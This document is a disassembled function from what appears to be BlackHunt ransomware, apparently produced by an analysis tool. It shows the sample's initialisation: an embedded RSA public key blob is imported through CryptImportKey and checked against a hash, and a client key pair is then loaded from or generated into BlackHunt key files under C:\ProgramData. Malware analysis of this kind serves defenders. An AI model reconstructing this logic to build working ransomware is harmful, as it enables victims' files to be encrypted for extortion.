Function at 0x402ad0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
je 0x402af9
push str.Initialize__
call fcn.00401d20
add esp, 4
call fcn.00402210
test eax, eax
jne 0x402b1f
push str.GetCryptoProvider_failed__
call fcn.00401d20
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
mov edx, 0x114
mov dword [ebp - 0x120], 0x206
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x11c], 0xa400
mov dword [ebp - 0x118], 0x31415352
mov dword [ebp - 0x114], 0x800
mov dword [ebp - 0x110], 0x10001
mov dword [ebp - 0x10c], 0x9f56ab0d
mov dword [ebp - 0x108], 0x5f6490bc
mov dword [ebp - 0x104], 0x4c54b6db
mov dword [ebp - 0x100], 0x25de8888
mov dword [ebp - 0xfc], 0xb3042db5
mov dword [ebp - 0xf8], 0x4177f9e4
mov dword [ebp - 0xf4], 0x142f05ac
mov dword [ebp - 0xf0], 0xea4b83ca
mov dword [ebp - 0xec], 0xa39ec310
mov dword [ebp - 0xe8], 0x71dd8538
mov dword [ebp - 0xe4], 0x73fd2f8
mov dword [ebp - 0xe0], 0xc7150aca
mov dword [ebp - 0xdc], 0x9e093191
mov dword [ebp - 0xd8], 0xbd36cb96
mov dword [ebp - 0xd4], 0x9ce76a67
mov dword [ebp - 0xd0], 0xa326f4dc
mov dword [ebp - 0xcc], 0x60ec52e9
mov dword [ebp - 0xc8], 0xefec01d9
mov dword [ebp - 0xc4], 0x4e20a708
mov dword [ebp - 0xc0], 0xd2d884ae
mov dword [ebp - 0xbc], 0x851e1cd3
mov dword [ebp - 0xb8], 0xb821cb57
mov dword [ebp - 0xb4], 0xf566e3b6
mov dword [ebp - 0xb0], 0x61480432
mov dword [ebp - 0xac], 0x13ea8aee
mov dword [ebp - 0xa8], 0xd67ae628
mov dword [ebp - 0xa4], 0xe0d6118c
mov dword [ebp - 0xa0], 0xbb044ea7
mov dword [ebp - 0x9c], 0x8b99a770
mov dword [ebp - 0x98], 0xc013bc73
mov dword [ebp - 0x94], 0x2730b8fd
mov dword [ebp - 0x90], 0x34d4c041
mov dword [ebp - 0x8c], 0x68755051
mov dword [ebp - 0x88], 0x7772dede
mov dword [ebp - 0x84], 0xed0a93d2
mov dword [ebp - 0x80], 0xa79dd839
mov dword [ebp - 0x7c], 0x5b10c831
mov dword [ebp - 0x78], 0x8e0eaed8
mov dword [ebp - 0x74], 0xa1b88955
mov dword [ebp - 0x70], 0x432a9a63
mov dword [ebp - 0x6c], 0x2887251f
mov dword [ebp - 0x68], 0x9d41a72
mov dword [ebp - 0x64], 0x44d3dfa
mov dword [ebp - 0x60], 0xed5995fb
mov dword [ebp - 0x5c], 0xf4a4ebbf
mov dword [ebp - 0x58], 0x5fb5103c
mov dword [ebp - 0x54], 0xb7b36404
mov dword [ebp - 0x50], 0x494b2ec1
mov dword [ebp - 0x4c], 0xcfbc90fa
mov dword [ebp - 0x48], 0xd49134
mov dword [ebp - 0x44], 0x20abf80e
mov dword [ebp - 0x40], 0x343298b1
mov dword [ebp - 0x3c], 0x53da43aa
mov dword [ebp - 0x38], 0xb38f3384
mov dword [ebp - 0x34], 0x7a350b01
mov dword [ebp - 0x30], 0xd2f1aa4
mov dword [ebp - 0x2c], 0x9e0eda64
mov dword [ebp - 0x28], 0xa1f0cdb3
mov dword [ebp - 0x24], 0x8a4e839f
mov dword [ebp - 0x20], 0xdc1fef67
mov dword [ebp - 0x1c], 0x7ffc59fd
mov dword [ebp - 0x18], 0x4b4305b5
mov dword [ebp - 0x14], 0x2001246b
mov dword [ebp - 0x10], 0xb8803b1c
call fcn.00407070
cmp eax, 0x4401dddf
je 0x402db1
push str.KEY_ERROR_100
call fcn.00401d20
add esp, 4
push 0x4b0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x47a328
push 0
push 0
push 0x114
lea eax, [ebp - 0x120]
push eax
push dword [0x478108]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x402df3
push str.CryptImportKey_failed__
call fcn.00401d20
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
push 0x44355c
push str.C:ProgramDataBlackHunt_Public.key
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x402e77
push 0x44355c
push str.C:ProgramDataBlackHunt_Private.key
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x402e77
push 0x44355c
push str.C:ProgramDataBlackHunt_ID.txt
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x402e77
push 0x44355c
push str.BlackHunt_Public.key
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x402e77
push 0x44355c
push str.BlackHunt_Private.key
call fcn.00423e1c
add esp, 8
test eax, eax
jne 0x402e77
push 0x44355c
push str.BlackHunt_ID.txt
call fcn.00423e1c
add esp, 8
test eax, eax
je 0x402eb3
push eax
call fcn.0042400c
add esp, 4
push str.Key_Found___LoadKeys
call fcn.00401d20
add esp, 4
call fcn.00402360
test eax, eax
jne 0x402ee6
push str.Cannot_Load_Client_Pair_Key
call fcn.00401d20
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
push str.Key_NotFound___GenerateKeys
call fcn.00401d20
add esp, 4
call fcn.00402590
test eax, eax
jne 0x402ee6
push str.Cannot_Generate_Client_Pair_Key
call fcn.00401d20
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
cmp dword [0x479b08], 0
je 0x402efc
push str.return_Initialize__
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret